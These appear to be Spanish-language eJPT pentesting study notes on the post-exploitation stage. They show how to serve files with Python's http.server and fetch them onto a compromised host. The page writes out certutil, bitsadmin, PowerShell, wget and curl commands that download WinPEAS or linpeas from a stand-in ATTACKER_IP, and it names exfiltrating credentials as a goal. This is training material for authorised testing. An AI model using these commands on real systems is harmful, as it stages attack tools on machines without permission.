> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/transferencia-de-archivos/configuracion-de-un-servidor-web-con-python.md).

# Configuración de un servidor web con python

## 🎯 ¿Por qué transferir archivos?

Después de obtener acceso inicial, es habitual necesitar:

* 🔧 Subir exploits o payloads adicionales.
* 🧰 Copiar herramientas de post‑explotación (WinPEAS, Mimikatz, scripts).
* 📝 Exfiltrar datos desde la víctima (logs, credenciales, documentos).

En entornos donde **no dispones de Meterpreter** (o prefieres no usarlo), tendrás que recurrir a utilidades nativas del sistema operativo para **descargar** archivos desde un servidor controlado por ti.

***

## 🛠️ Metodología en 2 pasos

1. **🚀 Hostear el archivo** en un servidor HTTP accesible.
2. **⬇️ Descargarlo** desde la máquina víctima usando herramientas integradas (PowerShell, `certutil`, `wget`, `curl`, etc.).

***

## 🌐 Paso 1: Levantar un servidor HTTP con Python

Python incluye un módulo incorporado que permite levantar un servidor web en segundos:

| Versión de Python | Comando                                 |
| ----------------- | --------------------------------------- |
| **Python 3**      | `bash\npython3 -m http.server 8080`     |
| **Python 2**      | `bash\npython -m SimpleHTTPServer 8080` |

* 📂 Ejecuta el comando **dentro del directorio** que contiene tus archivos.
* El servidor escuchará por defecto en **0.0.0.0:8080** (o el puerto que indiques).
* Cualquier archivo en ese directorio será accesible vía HTTP GET.

> 🔖 Ejemplo de URL:\
> `http://ATTACKER_IP:8080/WinPEAS.exe`

***

## 🖥️ Paso 2: Descargar desde la víctima

#### 🪟 Windows (sin Meterpreter)

| Herramienta integrada | Comando de ejemplo                                                                                                  |
| --------------------- | ------------------------------------------------------------------------------------------------------------------- |
| **PowerShell**        | `powershell\nInvoke-WebRequest -Uri http://ATTACKER_IP:8080/WinPEAS.exe -OutFile C:\\Users\\Public\\winpeas.exe`    |
| **certutil**          | `cmd\ncertutil -urlcache -f http://ATTACKER_IP:8080/WinPEAS.exe C:\\Users\\Public\\winpeas.exe`                     |
| **bitsadmin**         | `cmd\nbitsadmin /transfer myJob /download /priority high http://ATTACKER_IP:8080/WinPEAS.exe C:\\Temp\\winpeas.exe` |

#### 🐧 Linux

| Herramienta | Comando                                                      |
| ----------- | ------------------------------------------------------------ |
| **wget**    | `wget http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh` |
| **curl**    | `curl -o /tmp/linpeas.sh http://ATTACKER_IP:8080/linpeas.sh` |

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/F82M0HnaJxf6LNSHocEa" alt=""><figcaption></figcaption></figure>

**Paso 2:** Configurar un servidor web con Python

La configuración de un servidor web para transferencias de archivos se puede realizar fácilmente aprovechando módulos de Python como SimpleHTTPServer.

Por ejemplo, si quisiéramos alojar un archivo almacenado en el directorio de inicio del usuario root en el sistema Kali Linux, podemos crear fácilmente un servidor web ejecutando el siguiente comando:

**Dominio:**

```
python -m SimpleHTTPServer 80
```

Como se muestra en la siguiente captura de pantalla, esto configurará el servidor web en su directorio de trabajo actual y se ejecutará en el puerto 80 o cualquier otro puerto de su elección.

<figure><img src="/files/Q93cw7BXY6YrCVjME7hr" alt=""><figcaption></figcaption></figure>

Podemos verificar que el servidor web esté funcionando navegando a la dirección IP del sistema Kali Linux en un navegador como se muestra en la siguiente captura de pantalla.

<figure><img src="/files/VY0silt8rhjNF3MupcuB" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, exploramos el proceso de configuración de un servidor web simple para transferencias de archivos aprovechando los módulos de Python.
